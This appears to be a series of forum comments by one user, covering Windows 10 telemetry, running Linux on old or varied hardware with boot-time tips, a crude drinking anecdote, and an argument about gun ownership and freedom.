Meh... It sounds like a fine OS. But, yeah, turning off the telemetry means that your voice is not heard. It'd appear you know this and I'll avoid preaching to the choir. It's going to cause an outrage if something like Group Policy Editor, Regedit, and the control panel disappear because the people who typically use those are advanced users and more likely to block telemetry data collection. I will, of course, chuckle.
I buy and go through an obscene amount of hardware. I'm talking an average of somewhere around three laptops per year and as many white boxes. I won't say that I *never* have hardware that will simply not work. However, it's pretty rare that I do have hardware that doesn't work right out of the box when I select a popular distro to use. If it doesn't work then chances are that it will with a little bit of research and work. Yes, sometimes I have to compile a driver that was edited by someone in the community. A few times, I've made such edits myself but I've not had to do so in a very long time.
Heck, I've used Windows for years and almost always had a fully working Linux install on a second partition. These days, I just skip the Windows partition. I don't skip it out of any altruistic reasons or the likes. I just wanted something different to break, poke at, and learn. I'd never spent as much time learning the OS as I'd wanted to and realized that I wouldn't unless I used it to the exclusion of all others. So, that's my motivation.
At any rate... It's not 2005 any more. I can't be specific, I don't know the numbers, but it appears that the vast majority of hardware just works without any tinkering. In a few cases, I've ended up using a distro that I'd not planned on using and that's fine, for me at least. Sometimes I find something like wireless hardware that needs to be tweaked or whatnot but that's really rare. Just throw a live OS on a USB and test, if it works then you're good to go. If not, try another one. Someone's almost always figured out a way to make it work.
This is, of course, not true when there's a required chunk of software for the peripheral. You can't always use Linux just like you can't always use OS X, Android, or Windows 10. But, for the vast majority of places and people, it seems to be an acceptable solution for those who want to make that choice. Then again, I'm not a zealot or anything. My only suggestion is that you use what works best for you and helps you to accomplish your goals in a way that makes you as productive and safe as you want to be. Hell, I want to go to BSD-land next and spend a good six months using it exclusively. I might even do so with Plan 9 and Minix.
The thing about blocking telemetry is that it's a two edged sword. Now, when features you like are disabled you'll have nobody to blame but you and the other "power users" who decided to block their usage data gathering. A recent thread on this site was a good indicator of the potential results of this. It means you're letting the not-so-savvy folks decide the metrics given to the vendor and thus will get a product designed around their usage patterns.
She's never upgraded the kernel in those two years? You might want to double check on your wife's computer. She's doing something wrong if she wants to have those updates take effect. For the record, the laptop next to this one has Linux Mint Cinnamon on it - this one has Lubuntu and a couple other distros on it. However, if she's had it for a couple of years and has only done the reboot once then she's missing something, probably. If you want the new kernel then a reboot is required. There are security updates included in kernel releases. I'd say those qualify as required reboots, no?
'Tis time for my daily off-topic post. My saga, if you will. (Yes, I do this to piss you off, not you personally but someone else. If it irks you incidentally then oops. I hope you appreciate the story.)
Anyhow...
Many years ago I was out with a couple of friends of mine and I saw the grossest thing that I've ever seen. I hunt and take care of animal viscera. I've seen dead people, people wounded, and people in car accidents - horrific ones. Yet, none of those really make me queasy or anything.
My two friends are Paul and Wog (they'll be proud that I shared this story) and Wog's called that because his name is also Paul and it's short for polliwog. Paul and Wog worked as subcontractors in the construction trade.
Now, Paul and Wog were good friends and I a member of this same circle of friends. Alcohol was generally a requirement in this circle and we often consumed copious amounts of it. This one night in particular, we'd been drinking Ice 101 which is a rather potent peppermint schnapps. We are also in a work van with Paul driving and Wog in the passenger seat. I sat in the rear on a bucket - there were no rear seats. (Seat belts weren't required back then.)
So, we're going somewhere and I don't recall where we were or where we were going but we'd just stopped at a fast food place. At this point Paul, driving, pulls off to the side of the road and vomits in the trash can that is between the seats and right in front of me. Peppermint schnapps, fast food, and a day's worth of bile aren't really nice smelling but it was funny. For about 5 seconds it remained funny.
Wog, being drunk, says, "Oh look! a French fry!" He then reaches into the trash, into the vomit, pulls out a partially eaten fry, and pops it into his mouth and eats it.
I managed to get the van door open before projectile vomiting onto the side of the road while Paul happily returned to driving.
Peppermint schnapps and Windows 10 are on the list of things I won't own. It was also a long time before I'd eat fries again. The smell of peppermint schnapps still turns my stomach even all these years later.
The firearm doesn't lead to freedom - it is a part of freedom, more accurately liberty but pertinent to both. The right to own one ensures the freedom is maintained. I'm free to own one regardless of the rights - I'm just not at liberty to do so. I want to be free to do so without consequences - to have the inalienable right to ownership. The right to own one is a part of freedom, one of many parts. It doesn't ensure freedom, it helps maintain it.
I see you may be confused. I'll try to square things away for you. I'm free to kill you. I do not have the right to do so. I'm free to shoot you. I am not at liberty to do so. Freedom is something that's particularly hard to take away but rights can be stripped away pretty easily. Freedom can only be taken away by force (even minimal forces for some subsets). Rights and liberties can be taken away by threat of force. Freedom is, of course, also a part of life.
Following?
Now, if someone is trying to unlawfully take away your freedom then a firearm is certainly an acceptable tool and the right to defend oneself is essential. A right to success is not guaranteed, however. But, as someone who wishes to maintain his rights and liberties, while remaining free, I choose to own a firearm (or many). By virtue of my ownership, being lawful, one can conclude that I have not yet provided any justification for stripping those rights away from me.
You fear is not an acceptable reason to strip me of my liberties and reduce my ability to maintain my freedom. In fact, I'm aware that firearm ownership makes us less safe, overall, and I accept that. Yes, you may be harmed by a firearm. Those are trivial numbers and entirely unlikely. You'll be replaced with another human in short order. If you want complete safety then you'll need to cage everyone. I'd rather you not do that. I'd rather you put your man-panties on and accept that life's not that simple and that bad people do bad things to good people - but mostly bad people.
There's always risks and rewards. The reward is freedom. At that point, any risks are worth it.
That's silly. I've never been under the impression that a firearm makes me safe. The right to possess one makes me more free. That's hardly more safe - it's the exact opposite of safe. I accept that risk.
Yup. That's kind of what I expected to hear. I've seen all sorts of hardware that was "too old" that ran Linux just fine for normal, general purpose, computing. Sure, it's not blazing fast but it's plenty fast to get things done. If they're having issues with it "choking" then they're doing something odd or not trying very hard. No, you're not going to have a bunch of tabs open and play a video in HD at the same time. But you can play a video in HD - you probably can't go much better than 720p at a local file before you get issues unless you've got a dedicated GPU with decent driver support but you can almost certainly hit that level with nary a problem.
All I can picture is a scene from a WWII documentary where a Russian soldier is beating a horse that's skinny and hauling a load that's way too heavy for it - on the ice. The horse falls and he beats it until it gets up and takes a few more steps. The clip shows up in a few different documentaries (it was in Stalingrad) and the horse is falling again as the clip cuts out. I presume it dies. If you're trying to game, watch a video, or otherwise make it do tasks it has never done well then the performance is not going to be magically improved over time. (My estimation is that it stays much the same or is marginally improved for the same size data that's being processed.)
In this case, get a lighter desktop and optimize it for the use case. Run a lightweight browser (I find Opera to be fine but Midori works well enough and has an ad blocker). Use a light email client or don't install the bloated calendering application extension in Thunderbird. Set the swap value appropriately and configure /swap properly. If possible, add RAM.
For amusement, I've maxed out the RAM on some older boxes and put an SSD in them. It's amazing how much difference that makes. I mean truly amazing at the difference it makes - it's a whole new machine. It's not required, however. The box still works, it works pretty much as fast as it ever has. If resume is well supported, you can even shut it down and power it back on quickly. They really don't take a long time to boot anyhow. If boot's a problem then, assuming one has systemd, run:
systemd-analyze critical-chain
and see where the bottleneck is. When you find it, compile it for yourself on your own hardware, and replace it - if it's required. If it's not required then don't worry about it - just remove it. Or, alternatively, deal with the extra three seconds it takes to boot.
I'm not even a guru and I can do this stuff. Hell, I'm traditionally a Windows user. I have kept Linux on a partition since the 90s but I mostly used Windows or Solaris/SunOS back in the day. Only recently did I say screw it and moved entirely to Linux. However, I've had Windows running on that same architecture in the past. I've had Windows 7 running on hardware that old - or older. It isn't speedy but it works.
Anyhow, if anything, I picture this as the afore mentioned Russian beating the dying horse. It's not going to magically run faster than it used to but it should run and run well enough to make use of it. If it doesn't then there's almost certainly a distro out there that will run - some of them will be downright speedy.